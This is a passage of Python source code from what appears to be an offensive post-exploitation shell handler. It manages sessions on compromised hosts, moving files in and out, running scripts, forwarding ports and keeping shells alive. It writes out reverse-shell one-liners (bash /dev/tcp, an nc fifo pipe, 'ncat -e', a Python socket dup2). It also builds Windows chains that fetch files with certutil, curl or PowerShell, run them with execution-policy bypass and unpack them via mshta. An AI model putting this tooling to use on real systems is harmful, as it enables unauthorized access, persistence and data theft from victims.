'DEFAULT_FORMAT'): tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT else: tarfile.TarFile.posix = True tar = tarfile.open(name="", mode='w|gz', fileobj=stdout_stream, dereference={repr(options.link_dereference)}, bufsize=NET_BUF_SIZE) def handle_exceptions(func): def inner(*args, **kwargs): try: func(*args, **kwargs) except: stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() return inner tar.add = handle_exceptions(tar.add) for item in items: try: tar.add(os.path.abspath(item)) except: stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() tar.close() """ threading.Thread(target=self.exec, args=(code, ), kwargs={ 'python': True, 'stdin_stream': stdin_stream, 'stdout_stream': stdout_stream, 'stderr_stream': stderr_stream }).start() logger.trace(paint(f"⇣ Downloading to {local_download_folder}").cyan) def drain_stderr(): dec = codecs.getincrementaldecoder('utf-8')(errors='replace') error_buffer = '' while True: r, _, _ = select([stderr_stream], [], []) data = stderr_stream.read(options.network_buffer_size) if data: error_buffer += dec.decode(data) while '\n' in error_buffer: line, error_buffer = error_buffer.split('\n', 1) logger.error(str(paint("").cyan) + " " + str(paint(line).red)) else: error_buffer += dec.decode(b'', final=True) break stderr_thread = threading.Thread(target=drain_stderr) stderr_thread.start() tar_source, mode = stdout_stream, "r|gz" else: remote_items = ' '.join([shell_escape_glob(os.path.join(self.cwd, part)) for part in shlex.split(remote_items)]) remote_tmp = self.tmp if not remote_tmp: logger.error("No writable directory available on target for download staging") return [] temp = remote_tmp + "/" + rand(8) cmd = rf'tar -czf - {"-h " if options.link_dereference else ""}{remote_items}|base64|tr -d "\n" > {temp}' response = self.exec(cmd, timeout=None, value=True) if response is False: logger.error("Cannot create archive") return [] errors = [line[5:] for line in response.splitlines() if line.startswith('tar: /')] for error in errors: logger.error(error) send_size = self.exec( rf"(stat -x {temp} 2>/dev/null || stat {temp} 2>/dev/null) " rf"| sed -n 's/.*Size: \([0-9]*\).*/\1/p' " rf"| grep . || wc -c < {temp}", value=True ) if not (isinstance(send_size, str) and send_size.strip().isdigit()): logger.error("Could not determine the remote file size") return [] send_size = int(send_size) logger.trace(paint(f"⇣ Downloading to {local_download_folder}").cyan) pbar = PBar(send_size, caption=f" {paint('⤷').softgreen} ", barlen=30, metric=Size, reverse=True) b64data = io.BytesIO() for offset in range(0, send_size, options.download_chunk_size): response = self.exec(f"cut -c{offset + 1}-{offset + options.download_chunk_size} {temp}") if response is False: pbar.terminate() logger.error("Download interrupted") if self: self.exec(f"rm {temp}") return [] b64data.write(response) pbar.update(len(response)) self.exec(f"rm {temp}") data = io.BytesIO() try: data.write(gzip.decompress(base64.b64decode(b64data.getvalue()))) except Exception: logger.error("Invalid data returned") return [] data.seek(0) tar_source, mode = data, "r:" # Local extraction try: tar = tarfile.open(mode=mode, fileobj=tar_source, bufsize=options.network_buffer_size) except Exception: logger.error("Invalid data returned") return [] pbar = None if self.agent and remote_size: pbar = PBar(remote_size, caption=f" {paint('⤷').softgreen} ", barlen=30, metric=Size, reverse=True) _oread = tar.fileobj.read def _read_pbar(*a, _oread=_oread, _pbar=pbar, **k): data = _oread(*a, **k) if data: _pbar.update(len(data)) return data tar.fileobj.read = _read_pbar try: extracted = safe_tar_extractall(tar, local_download_folder, streaming=self.agent, strip_prefixes=strip_prefixes) except Exception as e: if pbar: pbar.terminate() logger.debug(traceback.format_exc()) logger.error(str(paint("").yellow) + " " + str(paint(e).red)) return [] if pbar: pbar.update(pbar.end) tar.close() if self.agent: stderr_thread.join() stdin_stream.write(b"") stdin_stream.close_read() stdin_stream.close_write() del self.streams[stdin_stream.id] stdout_stream.close_read() del self.streams[stdout_stream.id] del self.streams[stderr_stream.id] # Get the remote absolute paths response = self.exec(f""" from glob import glob remote_paths = '' for part in shlex.split({repr(remote_items)}): result = glob(normalize_path(part)) if not result and os.path.exists(part): result = [part] if result: for item in result: if os.path.exists(item): remote_paths += os.path.abspath(item) + "\\n" else: remote_paths += part + "\\n" stdout_stream << remote_paths.encode() """, python=True, value=True) else: cmd = ( '_abspath(){ if [ -d "$1" ]; then (cd "$1" && pwd);' ' else echo "$(cd "$(dirname "$1")" && pwd)/$(basename "$1")"; fi; };' f' for file in {remote_items}; do if [ -e "$file" ]; then' ' readlink -f "$file" 2>/dev/null || _abspath "$file";' ' else echo "$file"; fi; done' ) response = self.exec(cmd, timeout=None, value=True) if not response: logger.error("Cannot get remote paths") return [] remote_paths = response.splitlines() # Present the downloads downloaded = [] if reroot: base = os.path.realpath(local_download_folder) tops = {os.path.relpath(p, base).split(os.sep)[0] for p in extracted} downloaded = [local_download_folder / t for t in sorted(tops)] else: for path in remote_paths: local_path = local_download_folder / path[1:] if os.path.isabs(path) and os.path.exists(local_path): downloaded.append(local_path) else: logger.error(f"{paint('Download Failed').RED_white} {shlex.quote(path)}") elif self.OS == 'Windows': with ExitStack() as stack: remote_tempfile = f"{self.tmp}\\{rand(10)}.zip" remote_paths = [t.strip('"') for t in shlex.split(remote_items, posix=False)] with tempfile.NamedTemporaryFile("w", suffix=".ps1", delete=False) as f: tempfile_ps1 = f.name stack.callback(lambda p=tempfile_ps1: os.path.exists(p) and os.remove(p)) f.write(windows_zip_script(remote_paths, remote_tempfile)) server = FileServer(port=0, host=self._host, url_prefix=rand(8), quiet=True) urlpath_ps1 = server.add(tempfile_ps1) temp_remote_file_ps1 = urlpath_ps1.split("/")[-1] server.start() stack.callback(lambda: server.term.wait(options.timeout_short)) stack.callback(lambda: server.stop()) server.init.wait(options.timeout_short) if not hasattr(server, 'id'): return [] _url = f'http://{self._host}:{server.port}{urlpath_ps1}' _dest = f'%TEMP%\\{temp_remote_file_ps1}' data = self.exec( f'(certutil -urlcache -split -f "{_url}" "{_dest}" >NUL 2>&1' f' || curl -s -o "{_dest}" "{_url}" 2>NUL' f' || powershell -nop -c "(New-Object Net.WebClient).DownloadFile(\\"{_url}\\",\\"{_dest}\\")")' f'&powershell -nop -ep bypass -File "{_dest}"&del "{_dest}"', force_cmd=True, value=True, timeout=None ) if not data: return [] downloaded = set() try: with zipfile.ZipFile(io.BytesIO(base64.b64decode(data)), 'r') as zipdata: for item in zipdata.infolist(): item.filename = item.filename.replace('\\', '/') downloaded.add(Path(local_download_folder) / Path(item.filename.split('/')[0])) newpath = Path(zipdata.extract(item, path=local_download_folder)) except zipfile.BadZipFile: logger.error("Invalid zip format") except binascii_error: logger.error("The item does not exist or access is denied") for item in downloaded: logger.info(f"{paint('Downloaded').GREEN_white} {paint(shlex.quote(pathlink(item))).yellow}") return downloaded @persistent_shell_only @prefer_agent @require('base64', 'tar', 'cat') def upload(self, local_items, remote_path=None, randomize_fname=False, url_to_bytes_fn=None): url_to_bytes_fn = url_to_bytes_fn or url_to_bytes destination = remote_path or self.cwd if not self.write_access(destination): return [] # Initialization try: local_items = [item if re.match(r'(http|ftp)s?://', item, re.IGNORECASE)\ else normalize_path(item) for item in shlex.split(local_items)] except ValueError as e: logger.error(e) return [] # Resolve items resolved_items = [] for item in local_items: # Download URL if re.match(r'(http|ftp)s?://', item, re.IGNORECASE): try: filename, item = url_to_bytes_fn(item) if not item: continue resolved_items.append((filename, item)) except Exception as e: logger.error(e) else: if os.path.isabs(item): items = list(Path('/').glob(item.lstrip('/'))) else: items = list(Path().glob(item)) if items: resolved_items.extend(items) elif os.path.lexists(item): resolved_items.append(Path(item)) else: logger.error(f"No such file or directory: {item}") if not resolved_items: return [] if self.OS == 'Unix': # Get remote available space remote_space = remote_block_size = None if self.agent: response = self.exec(f""" stats = os.statvfs(normalize_path({destination!r})) stdout_stream << (str(stats.f_bavail) + ';' + str(stats.f_frsize)).encode() """, python=True, value=True) if isinstance(response, str) and response.count(';') == 1: remote_available_blocks, remote_block_size = response.split(';') if remote_available_blocks.isdigit() and remote_block_size.isdigit(): remote_block_size = int(remote_block_size) remote_space = int(remote_available_blocks) * remote_block_size else: remote_block_size = self.exec(rf'stat -c "%o" {destination} 2>/dev/null || stat -f "%k" {destination}', value=True) if isinstance(remote_block_size, str) and remote_block_size.isdigit(): remote_block_size = int(remote_block_size) else: remote_block_size = None remote_available_kb = self.exec(f"df -k {destination}|tail -1|awk '{{print $4}}'", value=True) if isinstance(remote_available_kb, str) and remote_available_kb.isdigit(): remote_space = int(remote_available_kb) * 1024 if not remote_block_size: remote_block_size = 4096 # fallback logger.warning("Could not determine remote block size; assuming 4096") # Calculate local size local_size = 0 for item in resolved_items: if isinstance(item, tuple): local_size += ceil(len(item[1]) / remote_block_size) * remote_block_size else: local_size += get_glob_size(shlex.quote(str(item)), remote_block_size, options.link_dereference) # Check required space if remote_space is None: logger.warning("Could not determine remote free space; proceeding without the space check") else: need = local_size - remote_space if need > 0: logger.error( f"--- Not enough space on target... {paint('We need ').blue}" f"{paint().yellow}{need:,}{paint().blue} more bytes..." ) return [] # Start Uploading if self.agent: size_tar = tarfile.open(fileobj=io.BytesIO(), mode='w', dereference=options.link_dereference) def tar_data_size(path, arcname): try: info = size_tar.gettarinfo(str(path), arcname) except (OSError, ValueError): return 0 if info is None: return 0 total = info.size if info.isfile() else 0 if info.isdir(): try: children = sorted(os.listdir(path)) except OSError: return total for child in children: total += tar_data_size(Path(path) / child, os.path.join(arcname, child)) return total upload_size = 0 for item in resolved_items: if isinstance(item, tuple): upload_size += len(item[1]) else: upload_size += tar_data_size(item, item.name) size_tar.close() stdin_stream = self.new_streamID stdout_stream = self.new_streamID stderr_stream = self.new_streamID if not all([stdin_stream, stdout_stream, stderr_stream]): return [] code = rf""" import tarfile if hasattr(tarfile, 'DEFAULT_FORMAT'): tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT else: tarfile.TarFile.posix = True def _progress_tar(base, out): class ProgressTar(base): def _copy_progress(self, src, dst, length): remaining = length while remaining: buf = src.read(min(NET_BUF_SIZE, remaining)) if not buf: raise IOError('unexpected end of data') dst.write(buf) out << (str(len(buf)) + '\n').encode() remaining -= len(buf) def makefile(self, tarinfo, targetpath): source = self.fileobj source.seek(tarinfo.offset_data) target = open(targetpath, 'wb') try: sparse = getattr(tarinfo, 'sparse', None) if sparse is not None: for offset, size in sparse: target.seek(offset) self._copy_progress(source, target, size) target.seek(tarinfo.size) target.truncate() else: self._copy_progress(source, target, tarinfo.size) finally: target.close() return ProgressTar ProgressTar = _progress_tar(tarfile.TarFile, stdout_stream) tar = ProgressTar.open(name='', mode='r|gz', fileobj=stdin_stream, bufsize=NET_BUF_SIZE) tar.errorlevel = 1 for item in tar: try: if sys.version_info >= (3, 12): tar.extract(item, path=normalize_path({destination!r}), filter='fully_trusted') else: tar.extract(item, path=normalize_path({destination!r})) except: stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() tar.close() """ threading.Thread(target=self.exec, args=(code, ), kwargs={ 'python': True, 'stdin_stream': stdin_stream, 'stdout_stream': stdout_stream, 'stderr_stream': stderr_stream }).start() logger.trace(paint(f"⇥ Uploading to {destination}").cyan) tar_destination, mode = stdin_stream, "r|gz" pbar = PBar(upload_size, caption=f" {paint('⤷').softorange} ", barlen=30, metric=Size) if upload_size else None remote_errors = [] def monitor_remote(): out_buf = b'' err_buf = b'' out_open = True err_open = True while out_open or err_open: watch = [] if out_open: watch.append(stdout_stream) if err_open: watch.append(stderr_stream) readable, _, _ = select(watch, [], []) if stdout_stream in readable: data = stdout_stream.read(options.network_buffer_size) if data: out_buf += data while b'\n' in out_buf: line, out_buf = out_buf.split(b'\n', 1) if pbar and line.strip().isdigit(): remaining = max(0, pbar.end - pbar.pos - 1) pbar.update(min(int(line), remaining)) else: out_open = False if stderr_stream in readable: data = stderr_stream.read(options.network_buffer_size) if data: err_buf += data while b'\n' in err_buf: line, err_buf = err_buf.split(b'\n', 1) remote_errors.append(line) logger.error(str(paint('').cyan) + ' ' + str(paint(line.decode(errors='replace')).red)) else: if err_buf: remote_errors.append(err_buf) logger.error(str(paint('').cyan) + ' ' + str(paint(err_buf.decode(errors='replace')).red)) err_open = False monitor_thread = threading.Thread(target=monitor_remote) monitor_thread.start() else: tar_buffer = io.BytesIO() tar_destination, mode = tar_buffer, "r:gz" tar = tarfile.open(mode='w|gz', fileobj=tar_destination, dereference=options.link_dereference, bufsize=options.network_buffer_size) def handle_exceptions(func): def inner(*args, **kwargs): try: func(*args, **kwargs) except Exception as e: logger.error(str(paint("").yellow) + " " + str(paint(e).red)) return inner tar.add = handle_exceptions(tar.add) altnames = [] for item in resolved_items: if isinstance(item, tuple): filename, data = item if randomize_fname: filename = Path(filename) altname = f"{filename.stem}-{rand(8)}{filename.suffix}" else: altname = filename file = tarfile.TarInfo(name=altname) file.size = len(data) file.mode = 0o770 file.mtime = int(time.time()) tar.addfile(file, io.BytesIO(data)) else: altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name tar.add(item, arcname=altname) altnames.append(altname) tar.close() if self.agent: stdin_stream.write(b"") monitor_thread.join() if not self: if pbar: pbar.terminate() return [] stdin_stream.close_read() stdin_stream.close_write() stdout_stream.close_read() self.streams.pop(stdin_stream.id, None) self.streams.pop(stdout_stream.id, None) self.streams.pop(stderr_stream.id, None) if remote_errors: if pbar: pbar.terminate() return [] if pbar: pbar.update(pbar.end) else: tar_buffer.seek(0) raw = tar_buffer.read() data = base64.b64encode(raw).decode() remote_tmp = self.tmp if not remote_tmp: logger.error("No writable directory available on target for upload staging") return [] temp = remote_tmp + "/" + rand(8) logger.trace(paint(f"⇥ Uploading to {destination}").cyan) pbar = PBar(len(raw), caption=f" {paint('⤷').softorange} ", barlen=30, metric=Size) sent = 0 for chunk in chunks(data, options.upload_chunk_size): body = "\n".join(chunks(chunk, 512)) term = "UP_" + rand(16) response = self.exec(f"cat >> {temp} <<'{term}'\n{body}\n{term}\n:") if response is False: pbar.terminate() logger.error("Upload interrupted") self.exec(f"rm {temp}") return [] sent += len(chunk) pbar.update(int(len(raw) * sent / len(data)) - pbar.pos) logger.debug(paint("--- Remote unpacking...").blue) dest = f"-C {shlex.quote(remote_path)}" if remote_path else "" cmd = f"{{ base64 -d 2>/dev/null || base64 -D; }} < {temp} | tar xz {dest} 2>&1; temp=$?" response = self.exec(cmd, value=True) exit_code = self.exec("echo $temp", value=True) self.exec(f"rm {temp}") if not (isinstance(exit_code, str) and exit_code.strip() == "0"): logger.error(response if response else "Remote unpacking failed or timed out") return [] elif self.OS == 'Windows': with ExitStack() as stack: # Fire up File Server server = FileServer(port=0, host=self._host, url_prefix=rand(8), quiet=True) server.start() stack.callback(lambda: server.term.wait(options.timeout_short)) stack.callback(lambda: server.stop()) server.init.wait(options.timeout_short) if not hasattr(server, 'id'): return [] tmp_zip = tempfile.NamedTemporaryFile(suffix=".zip", delete=False) tempfile_zip = tmp_zip.name tmp_zip.close() stack.callback(lambda p=tempfile_zip: os.path.exists(p) and os.remove(p)) tmp_bat = tempfile.NamedTemporaryFile(suffix=".bat", delete=False) tempfile_bat = tmp_bat.name tmp_bat.close() stack.callback(lambda p=tempfile_bat: os.path.exists(p) and os.remove(p)) with zipfile.ZipFile(tempfile_zip, 'w') as myzip: altnames = [] for item in resolved_items: if isinstance(item, tuple): filename, data = item if randomize_fname: filename = Path(filename) altname = f"{filename.stem}-{rand(8)}{filename.suffix}" else: altname = filename zip_info = zipfile.ZipInfo(filename=str(altname)) zip_info.date_time = time.localtime(time.time())[:6] myzip.writestr(zip_info, data) else: if item.is_dir(): altname = f"{item.name}-{rand(8)}" if randomize_fname else item.name myzip.writestr(Path(altname).as_posix().rstrip('/') + '/', b'') for p in item.rglob("*"): rel = p.relative_to(item) altname_file = Path(altname) / rel if p.is_dir(): myzip.writestr(altname_file.as_posix().rstrip('/') + '/', b'') elif p.is_file(): myzip.write(p, arcname=altname_file.as_posix()) else: altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name myzip.write(item, arcname=altname) altnames.append(altname) urlpath_zip = server.add(tempfile_zip) dst_escaped = destination.replace('\\', '\\\\') tmp_escaped = self.tmp.replace('\\', '\\\\') temp_remote_file_zip = urlpath_zip.split("/")[-1] _zip_url = f'http://{self._host}:{server.port}{urlpath_zip}' _zip_dest = f'%TEMP%\\{temp_remote_file_zip}' fetch_cmd = ( f'(certutil -urlcache -split -f "{_zip_url}" "{_zip_dest}" >NUL 2>&1' f' || curl -s -o "{_zip_dest}" "{_zip_url}" 2>NUL' f' || powershell -nop -c "(New-Object Net.WebClient).DownloadFile(\'{_zip_url}\',\'{_zip_dest}\')")' f' && echo DOWNLOAD OK' ) unzip_cmd = f'mshta "javascript:var sh=new ActiveXObject(\'shell.application\'); var fso = new ActiveXObject(\'Scripting.FileSystemObject\'); sh.Namespace(\'{dst_escaped}\').CopyHere(sh.Namespace(\'{tmp_escaped}\\\\{temp_remote_file_zip}\').Items(), 16); while(sh.Busy) {{WScript.Sleep(100);}} fso.DeleteFile(\'{tmp_escaped}\\\\{temp_remote_file_zip}\');close()" && echo UNZIP OK' with open(tempfile_bat, "w") as f: f.write(fetch_cmd + "\n") f.write(unzip_cmd) urlpath_bat = server.add(tempfile_bat) temp_remote_file_bat = urlpath_bat.split("/")[-1] _bat_url = f'http://{self._host}:{server.port}{urlpath_bat}' _bat_dest = f'%TEMP%\\{temp_remote_file_bat}' response = self.exec( f'(certutil -urlcache -split -f "{_bat_url}" "{_bat_dest}" >NUL 2>&1' f' || curl -s -o "{_bat_dest}" "{_bat_url}" 2>NUL' f' || powershell -nop -c "(New-Object Net.WebClient).DownloadFile(\\"{_bat_url}\\",\\"{_bat_dest}\\")")' f'&"{_bat_dest}"&del "{_bat_dest}"', force_cmd=True, value=True, timeout=None) if not response: logger.error("Upload initialization failed...") return [] if not "DOWNLOAD OK" in response: logger.error("Data transfer failed...") return [] if not "UNZIP OK" in response: logger.error("Data unpacking failed...") return [] # Present uploads uploaded_paths = [] for item in altnames: if self.OS == "Unix": uploaded_path = shlex.quote(str(Path(destination) / item)) elif self.OS == "Windows": uploaded_path = f'"{PureWindowsPath(destination, item)}"' logger.info(f"{paint('Uploaded').GREEN_white} {paint(uploaded_path).yellow}") uploaded_paths.append(uploaded_path) print() self.uploaded_paths.update(dict.fromkeys(uploaded_paths, int(time.time()))) return uploaded_paths @agent_only def script(self, local_script): local_script_folder = self.directory / "scripts" prefix = datetime.now().strftime("%Y_%m_%d-%H_%M_%S-") try: local_script_folder.mkdir(parents=True, exist_ok=True) except Exception as e: logger.error(e) return False if re.match(r'(http|ftp)s?://', local_script, re.IGNORECASE): try: filename, data = url_to_bytes(local_script) if not data: return False except Exception as e: logger.error(e) return False local_script = local_script_folder / (prefix + filename) with open(local_script, "wb") as input_file: input_file.write(data) else: local_script = Path(normalize_path(shell_unescape(local_script))) output_file_name = local_script_folder / (prefix + "output.txt") try: input_file = open(local_script, "rb") output_file = open(output_file_name, "wb") first_line = input_file.readline().strip() #input_file.seek(0) # Maybe it is not needed if first_line.startswith(b'#!'): program = first_line[2:].decode(errors="replace") else: logger.error("No shebang found") return False tail_cmd = f'tail -n +1 -f {shlex.quote(str(output_file_name))}' print(tail_cmd) Open(tail_cmd, terminal=True) thread = threading.Thread(target=self.exec, args=(program, ), kwargs={ 'stdin_src': input_file, 'stdout_dst': output_file, 'stderr_dst': output_file }) thread.start() except Exception as e: logger.error(e) return False return output_file_name def spawn(self, port=None, host=None): if self.OS == "Unix": if any([self.listener, port, host]): if self.listener and self.listener.jump: if len(self.listener.jump) == 1: host, port = self.listener.jump[0] else: [print(f"* {j[0]}:{j[1]}") for j in self.listener.jump] while(True): e = ask("Endpoint: ") try: host, port = e.split(':') break except ValueError: logger.error(f"Invalid jump endpoint: {e}") else: port = port or self._port host = host or self._host if not next((listener for listener in core.listeners.values() if listener.port == port), None): new_listener = TCPListener(host, port) if not new_listener: logger.error(f"Cannot listen on {host}:{port}. Spawning shell aborted") return False if self.agent: logger.info(f"Attempting to spawn a reverse shell on {host}:{port}") self.exec(f""" import os, socket if os.fork() == 0: os.setsid() s = socket.socket() s.connect(("{host}", {port})) for fd in (0, 1, 2): os.dup2(s.fileno(), fd) os.execl("{self.shell}", "{self.shell}") os._exit(1) """, python=True) return True if self.bin['bash']: cmd = f'printf "(bash >& /dev/tcp/{host}/{port} 0>&1) &"|bash' elif self.bin['nc'] and self.bin['sh']: cmd = f'printf "(rm /tmp/_;mkfifo /tmp/_;cat /tmp/_|sh 2>&1|nc {host} {port} >/tmp/_) &"|sh' elif self.bin['sh']: ncat_cmd = f'{self.bin["sh"]} -c "{{}} -e {self.bin["sh"]} {host} {port} &"' if not (self._ncat and not self.exec(f"test -x {self._ncat} || echo x")): logger.warning("ncat is not available on the target") if self.system == 'Linux' and self.arch == 'x86_64': self._ncat = self.need_binary("ncat", URLS['ncat']) else: logger.error(f"No prebuilt ncat binary for {self.system}/{self.arch}") if not self._ncat: logger.error("Spawning shell aborted") return False cmd = ncat_cmd.format(self._ncat) else: logger.error("No available shell binary is present...") return False logger.info(f"Attempting to spawn a reverse shell on {host}:{port}") self.exec(cmd) # TODO maybe destroy the new_listener upon getting a shell? # if new_listener: # new_listener.stop() else: host, port = self.socket.getpeername() logger.info(f"Attempting to spawn a bind shell from {host}:{port}") if not Connect(host, port): logger.info("Spawn bind shell failed. I will try getting a reverse shell...") return self.spawn(port, self._host) elif self.OS == 'Windows': logger.warning("Spawn Windows shells is not implemented yet") return False return True @agent_only def portfwd(self, _type, lhost, lport, rhost, rport): session = self control = ControlQueue() info = (_type, lhost, lport, rhost, rport) class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler): def handle(self): self.request.setblocking(False) stdin_stream = session.new_streamID stdout_stream = session.new_streamID stderr_stream = session.new_streamID if not all([stdin_stream, stdout_stream, stderr_stream]): return code = rf""" import socket client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect(({rhost!r}, {int(rport)})) connected = True except socket.error: connected = False if connected: client.setblocking(False) pending = "".encode() stdin_done = False wr_shutdown = False remote_done = False while True: rlist = [] if not remote_done: rlist.append(client) if not stdin_done and not pending: rlist.append(stdin_stream) wlist = [] if pending: wlist.append(client) if not rlist and not wlist: break readables, writables, _ = select.select(rlist, wlist, []) if stdin_stream in readables: data = stdin_stream.read({options.network_buffer_size}) if not data: stdin_done = True else: pending = pending + data if client in writables: try: pending = pending[client.send(pending):] except socket.error: if sys.exc_info()[1].args[0] not in (errno.EAGAIN, errno.EWOULDBLOCK): break if stdin_done and not pending and not wr_shutdown: try: client.shutdown(socket.SHUT_WR) except socket.error: pass wr_shutdown = True if client in readables: try: data = client.recv({options.network_buffer_size}) except socket.error: if sys.exc_info()[1].args[0] not in (errno.EAGAIN, errno.EWOULDBLOCK): break else: if not data: remote_done = True else: stdout_stream.write(data) client.close() else: client.close() """ session.exec( code, python=True, stdin_stream=stdin_stream, stdout_stream=stdout_stream, stderr_stream=stderr_stream, stdin_src=self.request, stdout_dst=self.request, agent_control=control ) class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): allow_reuse_address = True request_queue_size = 100 daemon_threads = True @handle_bind_errors def server_bind(self, lhost, lport): self.server_address = (lhost, int(lport)) super().server_bind() def server_thread(): with ThreadedTCPServer(None, ThreadedTCPRequestHandler, bind_and_activate=False) as server: if not server.server_bind(lhost, lport): return False server.server_activate() Forwarding(session, info, control, threading.current_thread(), server) logger.info(f"Setup Port Forwarding: {lhost}:{lport} {'->' if _type=='L' else '<-'} {rhost}:{rport}") server.serve_forever() portfwd_thread = threading.Thread(target=server_thread) portfwd_thread.start() def maintain(self): hosts = core.hosts.get(self.name) if not (hosts and len(hosts) < options.maintain): return True session = hosts[-1] logger.warning(paint( f" --- Session {session.id} is trying to maintain {options.maintain} " f"active shells on {self.name} ---" ).blue) return session.spawn() def kill(self): if self not in core.rlist: return True if menu.sid == self.id: menu.set_id(None) thread_name = threading.current_thread().name logger.debug(f"Thread <{thread_name}> wants to kill session {self.id}") if thread_name != 'Core': if self.OS: for module in modules().values(): if module.enabled and module.on_session_end: module.run(self, None) else: self.id = randint(10**10, 10**11-1) core.sessions[self.id] = self core.control << (lambda: core.sessions[self.id].kill()) return self.subchannel.control.close() self.subchannel.close() for stream in tuple(self.streams.values()): stream << b"" core.rlist.remove(self) if self in core.wlist: core.wlist.remove(self) try: self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0)) # RST except OSError: pass self.socket.close() if not self.OS: message = f"Invalid shell from {self.ip} {EMOJIS['invalid_shell']}" elif not hasattr(self, 'name'): message = f"Incomplete shell from {self.ip} died during setup {EMOJIS['invalid_shell']}" else: message = f"Session [{self.id}] died..." others = any( s is not self and getattr(s, 'name', None) == self.name for s in tuple(core.sessions.values()) ) if not others: message += f" We lost {self.name_colored} {EMOJIS['lost']}" if self.id in core.sessions: del core.sessions[self.id] logger.error(message) with self.log_lock: self.logfile.close() if self.is_attached: self.detach() elif self.attaching: self.attaching = False menu.show() for fwd in tuple(self.tasks['portfwd']): fwd.stop() if self.OS and hasattr(self, 'name'): threading.Thread(target=self.maintain).start() return True class Messenger: SHELL = 1 RESIZE = 2 EXEC = 3 STREAM = 4 STREAM_CODE = '!H' STREAM_BYTES = struct.calcsize(STREAM_CODE) LEN_CODE = 'H' _LEN_CODE = '!' + LEN_CODE LEN_BYTES = struct.calcsize(LEN_CODE) TYPE_CODE = 'B' _TYPE_CODE = '!' + TYPE_CODE TYPE_BYTES = struct.calcsize(TYPE_CODE) HEADER_CODE = '!' + LEN_CODE + TYPE_CODE MAX_PAYLOAD = (1 << (8 * LEN_BYTES)) - 1 - TYPE_BYTES def __init__(self, bufferclass): self.len = None self.input_buffer = bufferclass() self.length_buffer = bufferclass() self.message_buffer = bufferclass() def message(_type, _data): if len(_data) > Messenger.MAX_PAYLOAD: raise ValueError("Messenger frame payload too large: %d > %d bytes" % (len(_data), Messenger.MAX_PAYLOAD)) return struct.pack(Messenger.HEADER_CODE, len(_data) + Messenger.TYPE_BYTES, _type) + _data message = staticmethod(message) def feed(self, data): self.input_buffer.write(data) self.input_buffer.seek(0) while True: if not self.len: len_need = Messenger.LEN_BYTES - self.length_buffer.tell() data = self.input_buffer.read(len_need) self.length_buffer.write(data) if len(data) != len_need: break self.len = struct.unpack(Messenger._LEN_CODE, self.length_buffer.getvalue())[0] self.length_buffer.seek(0) self.length_buffer.truncate() else: data_need = self.len - self.message_buffer.tell() data = self.input_buffer.read(data_need) self.message_buffer.write(data) if len(data) != data_need: break self.message_buffer.seek(0) _type = struct.unpack(Messenger._TYPE_CODE, self.message_buffer.read(Messenger.TYPE_BYTES))[0] _message = self.message_buffer.read() self.len = None self.message_buffer.seek(0) self.message_buffer.truncate() yield _type, _message self.input_buffer.seek(0) self.input_buffer.truncate() class Stream: def __init__(self, _id, _session=None): self.id = _id self.writebuf = None self.feed_thread = None self._feed_lock = threading.Lock() self.session = _session self.read_closed = True self.write_closed = True self._read = self._write = None self._read, self._write = os.pipe() self.read_closed = False self.write_closed = False if self.session is None: self.writefunc = lambda data: respond(self.id + data) cloexec(self._write) cloexec(self._read) else: self.writefunc = lambda data: self.session.send(Messenger.message(Messenger.STREAM, self.id + data)) def __lshift__(self, data): self._feed_lock.acquire() try: if self.writebuf is None: self.writebuf = queue.Queue() self.writebuf.put(data) if self.feed_thread is None: self.feed_thread = threading.Thread(target=self.feed, name="feed stream -> " + repr(self.id)) self.feed_thread.start() finally: self._feed_lock.release() def feed(self): while True: data = self.writebuf.get() if not data: self.close_write() break try: os.write(self._write, data) except OSError: break def fileno(self): return self._read def write(self, data): self.writefunc(data) def close_write(self): if not self.write_closed: self.write_closed = True try: os.close(self._write) except OSError: pass def close(self): self.close_read() self.close_write() def __del__(self): self.close() def close_read(self): if not self.read_closed: self.read_closed = True try: os.close(self._read) except OSError: pass def read(self, n): try: data = os.read(self._read, n) except OSError: return "".encode() if not data: self.close_read() return data def agent(): import os, sys, pty, shlex, fcntl, errno, struct, signal, termios, select, threading signal.signal(signal.SIGINT, signal.SIG_DFL) signal.signal(signal.SIGQUIT, signal.SIG_DFL) normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) if sys.version_info[0] == 2: import Queue as queue else: import queue try: import io bufferclass = io.BytesIO except: import StringIO bufferclass = StringIO.StringIO SHELL = "{}" NET_BUF_SIZE = {} {} {} def respond(_value, _type=Messenger.STREAM): wlock.acquire() outbuf.seek(0, 2) outbuf.write(Messenger.message(_type, _value)) if not pty.STDOUT_FILENO in wlist: wlist.append(pty.STDOUT_FILENO) os.write(control_in, "1".encode()) wlock.release() def cloexec(fd): try: flags = fcntl.fcntl(fd, fcntl.F_GETFD) fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC) except: pass shell_pid, master_fd = pty.fork() if shell_pid == pty.CHILD: os.execl(SHELL, SHELL, '-i') try: pty.setraw(pty.STDIN_FILENO) except: pass try: signal.signal(signal.SIGCHLD, signal.SIG_IGN) except: pass try: streams = dict() messenger = Messenger(bufferclass) outbuf = bufferclass() ttybuf = bufferclass() wlock = threading.Lock() control_out, control_in = os.pipe() cloexec(control_out) cloexec(control_in) rlist = [control_out, master_fd, pty.STDIN_FILENO] wlist = [] for fd in (master_fd, pty.STDIN_FILENO, pty.STDOUT_FILENO, pty.STDERR_FILENO): flags = fcntl.fcntl(fd, fcntl.F_GETFL) fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK) cloexec(fd) while True: try: rfds, wfds, _ = select.select(rlist, wlist, []) except Exception: for _fdlist in (rlist, wlist): for _fd in _fdlist[:]: try: select.select([_fd], [], [], 0) except Exception: _fdlist.remove(_fd) continue for readable in rfds: if readable is control_out: os.read(control_out, 1) elif readable is master_fd: try: data = os.read(master_fd, NET_BUF_SIZE) except OSError: e = sys.exc_info()[1] if e.args and 